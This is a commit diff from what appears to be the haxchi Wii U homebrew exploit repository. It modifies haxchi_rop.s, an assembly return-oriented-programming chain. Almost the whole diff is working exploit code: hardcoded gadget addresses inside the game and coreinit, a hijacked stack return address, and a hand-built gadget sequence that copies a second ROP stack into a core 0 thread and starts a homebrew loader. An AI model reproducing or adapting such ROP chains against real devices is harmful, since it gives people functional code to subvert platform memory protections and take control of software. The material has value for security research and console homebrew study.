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https://github.com/wiiu-env/haxchi.git
synced 2024-11-22 16:09:17 +01:00
-added some new, not very pretty additional rop-code which should allow this to run with all wiiu langauge settings now
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104
haxchi_rop.s
104
haxchi_rop.s
@ -1,9 +1,13 @@
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MAIN_STACKTOP equ (0x30796C00)
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CORE0_STACKORIG equ (0x2B267B50) ; TEMP ?
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CORE0_ROPSTART equ (CORE0_STACKORIG + 0xAFC) ; TEMP ?
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RPX_OFFSET equ (0x01800000)
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; game stack return address
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hax_target_address equ 0x1076FAA4
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; constants for position calcs
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COREINIT_OFFSET equ (- 0xFE3C00)
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RPX_OFFSET equ (0x01800000)
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SYSAPP_OFFSET equ (0x01B75D00)
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; rop-gadgets part 1 (used for all sorts of different things)
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LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02208F6C)
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MTCTR_R28_ADDI_R6x68_MR_R5R29_R4R22_R3R21_BCTRL equ (RPX_OFFSET + 0x02208E90)
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BCTRL equ (RPX_OFFSET + 0x02208EA4)
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@ -15,6 +19,17 @@ MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_
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LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02279BB8)
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MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x02002968)
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; rop-gadgets part 2 (only used to set up core 0 thread stack)
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LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0206966C)
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MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A58C4)
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LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200B8D0)
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LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0207AD84)
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LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205182C)
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LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02014E0C)
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LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0213FE6C)
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MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202028C)
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; functions used from game and libraries
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NERD_CREATETHREAD equ (RPX_OFFSET + 0x02223C40)
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NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222405C)
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NERD_JOINTHREAD equ (RPX_OFFSET + 0x02223AEC)
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@ -22,7 +37,6 @@ HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02007774)
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NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x201BD28)
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CORE_SHUTDOWN equ (RPX_OFFSET + 0x02222FBC)
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_START_EXIT equ (RPX_OFFSET + 0x02022A70)
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HACHI_APPLICATION_PTR equ (0x10A6E038)
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_SYSLAUNCHMIISTUDIO equ (SYSAPP_OFFSET + 0x020019D4)
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@ -38,10 +52,13 @@ OSSAVESDONE_READYTORELEASE equ (0x0201D5B8 + COREINIT_OFFSET)
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OSRELEASEFOREGROUND equ (0x0201D5BC + COREINIT_OFFSET)
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OSFATAL equ (0x02015218 + COREINIT_OFFSET)
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; more useful definitions
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CODEGEN_ADR equ 0x01800000
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NERD_THREAD0OBJECT equ (0x1076FAA4 - 0x1000)
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NERD_THREAD2OBJECT equ (0x1076FAA4 - 0x2000)
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HACHI_APPLICATION_PTR equ (0x10A6E038)
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NERD_THREAD0OBJECT equ (hax_target_address - 0x1000)
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NERD_THREAD2OBJECT equ (hax_target_address - 0x2000)
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.macro set_sp,v
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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@ -138,7 +155,7 @@ NERD_THREAD2OBJECT equ (0x1076FAA4 - 0x2000)
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; hacked from arm7 ram offset (unsafe, game stack pointer)
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.create "haxchi_rop_hook.bin", 0x1076FAA4
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.create "haxchi_rop_hook.bin", hax_target_address
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.arm.big
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rop_hook_start:
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@ -157,7 +174,76 @@ rop_start:
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; set up hbl_loader in core 0
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call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0
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call_func MEMCPY, CORE0_ROPSTART, core0rop, core0rop_end - core0rop, 0x0
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; the code below prepares the stack for the thread in core 0
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; load memcpy jump into r3
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.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
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.word MEMCPY ; r3
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; more r3 into r12 for our memcpy jump at the end of this
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.word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; prepare r31 to be a valid value for the next call
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEADBABE ; r30
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.word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call)
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.word 0xDEAD0001 ; garbage
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; get r5 ready for the length we want to copy
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.word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR
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.word (core0rop_end - core0rop) ; r5
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r30
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; get r4 ready for the data we want to copy
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.word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR
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.word 0xDEAD0001 ; garbage
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.word core0rop ; r4
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; prepare r31 to be a valid value for the next call
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEADBABE ; r30
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.word (0x1076FAA4-0x3000) ; r31 (has to be valid here)
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.word 0xDEAD0001 ; garbage
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; loads the required value for the addition onto r3 later on
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.word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word (0x00800000 - 0x30 + 0xAFC) ; r7
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r30
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; loads pointer to new thread sp into r3
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.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
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.word (NERD_THREAD0OBJECT+4) ; r3
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; r3 contains new thread sp end after this load
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.word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR
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.word 0xDEAD0001 ; garbage
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; r3 contains code injection thread sp after this add
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.word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r30
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; jump to previously prepared r12 for memcpy
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.word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; thread stack is prepared after this point
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; wait for hbl_loader to do its job
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call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
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